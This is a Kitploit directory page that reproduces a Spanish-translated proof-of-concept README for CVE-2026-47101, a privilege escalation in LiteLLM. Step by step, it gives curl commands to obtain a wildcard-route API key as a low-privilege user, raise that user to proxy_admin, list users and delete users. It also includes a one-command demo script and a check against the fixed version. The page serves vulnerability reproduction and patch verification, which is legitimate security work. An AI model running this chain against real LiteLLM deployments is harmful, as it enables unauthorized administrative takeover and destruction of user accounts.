Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-47101-PoC — El código para reproducir personalmente la vulnerabilidad correspondiente | Kitploit
Herramientas/GitHubGitHub/learner202649/cve-2026-47101-poc
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónMala ConfiguraciónAprendizaje y EducaciónLabs y Práctica
18hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
learner202649/cve-2026-47101-poc

CVE-2026-47101-PoC

El código para reproducir personalmente la vulnerabilidad correspondiente

Ver Repositorio
Compartir

CVE-2026-47101 — Escalada de privilegios en LiteLLM mediante /key/generate + /user/update

El endpoint /key/generate de LiteLLM v1.82.6 (versiones anteriores a v1.83.14) permite a un internal_user con privilegios bajos solicitar una API key con rutas comodín ["/*"] y, posteriormente, a través del endpoint /user/update, elevar su propio rol a proxy_admin, logrando una escalada de privilegios no autorizada.

CampoValor
CVECVE-2026-47101
CVSS v3.18.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Autorización incorrecta)
AfectaLiteLLM < 1.83.14 (confirmado en v1.82.6)
Corregidov1.83.14+ (se añade la validación de rol de allowed_routes)
Publicado2026-05-21
Descubierto porFenix Qiao (13ph03nix) — Obsidian Security
EnlacesNVD

Descripción

El endpoint /key/generate de LiteLLM se utiliza para generar API keys, y /user/update para actualizar atributos de usuario. Las comprobaciones de autorización de estos dos endpoints presentan tres fallos encadenados que un usuario con privilegios bajos puede explotar en serie:

  1. /key/generate no valida allowed_routes — cualquier rol (incluido internal_user) puede solicitar rutas comodín ["/*"]
  2. La comprobación de rutas recurre a la coincidencia de comodines de allowed_routes — la key comodín generada puede acceder a todos los endpoints de administración
  3. /user/update permite la automodificación del campo user_role — con la key comodín se puede elevar el propio rol a proxy_admin

Cadena de ataque

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

Prueba de concepto

Preparación del entorno

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm

# 等待服务就绪(约 10-30 秒)
sleep 15

Confirmar que el servicio se está ejecutando

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

La salida esperada debe incluir registros de inicio correctos, como Uvicorn running on http://0.0.0.0:4000.

Paso 1: Crear una cuenta de internal_user

Utilice la master key para crear una cuenta de internal_user con privilegios bajos:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Salida esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Anote el user_id y la key devueltos; los necesitará en los pasos siguientes.

Paso 2: Generar una API key con rutas comodín

En calidad de internal_user, llame a /key/generate para solicitar una API key con rutas comodín ["/*"]:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Salida esperada:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Punto vulnerable: ¡internal_user generó con éxito una API key con rutas comodín ["/*"]! Esta key puede acceder a todos los endpoints de administración, incluidos /user/update, /user/list, etc.

Paso 3: Escalada de privilegios a proxy_admin

Utilice la key con rutas comodín para llamar a /user/update y eleve el rol del usuario a proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Salida esperada:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Punto vulnerable: ¡el user_role cambió de internal_user a proxy_admin! El endpoint /user/update permite al usuario modificar su propio campo user_role sin ninguna restricción de privilegios.

Paso 4: Verificar el acceso de administrador

Verifique que la elevación de rol ha surtido efecto a través del endpoint /user/list:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Salida esperada:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

El endpoint /user/list solo permite el acceso al rol proxy_admin. Obtener la lista de usuarios con éxito confirma que la escalada de privilegios ha surtido efecto.

Paso 5: Extensión — Eliminar usuarios administradores

Aprovechando los permisos de proxy_admin obtenidos, puede eliminar cualquier usuario mediante /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Salida esperada:

1

Reproducción con un solo comando

Los pasos anteriores se han integrado en demo.sh y se pueden ejecutar directamente:

# 完整复现(包含步骤 1-5)
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

Verificación de la versión corregida

Inicie la versión corregida (v1.83.14-stable) para verificar que la vulnerabilidad ha sido corregida:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

Crear el internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Intente generar una key con rutas comodín (se espera que se bloquee):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Salida esperada (la versión corregida bloquea la solicitud no autorizada):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparación con la versión vulnerable:

Escenario de pruebaVersión vulnerable (v1.82.6)Versión corregida (v1.83.14)
internal_user solicita ["/*"]✅ Genera la key comodín con éxito❌ Bloqueado (HTTP 403)
La key comodín modifica user_role✅ Eleva a proxy_admin con éxito❌ Bloqueado
La key comodín accede a /user/list✅ Obtiene la lista de usuarios con éxito❌ Bloqueado

Endpoints vulnerables

POST /key/generate

Genera una nueva API key. El parámetro allowed_routes se utiliza para limitar la lista de rutas de endpoints a los que la key puede acceder.

CampoTipoObligatorioDescripción
allowed_routesarrayNoLista de rutas permitidas; por ejemplo, ["/*"] indica todas las rutas

POST /user/update

Actualiza los atributos del usuario, incluido el campo user_role.

CampoTipoObligatorioDescripción
user_idstringSíID del usuario que se va a actualizar
user_rolestringSíNuevo rol (por ejemplo, proxy_admin)

Técnica de explotación

Paso 1: Generar una API key con rutas comodín

Como internal_user, llame a /key/generate para solicitar una key con ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}
Descargar herramienta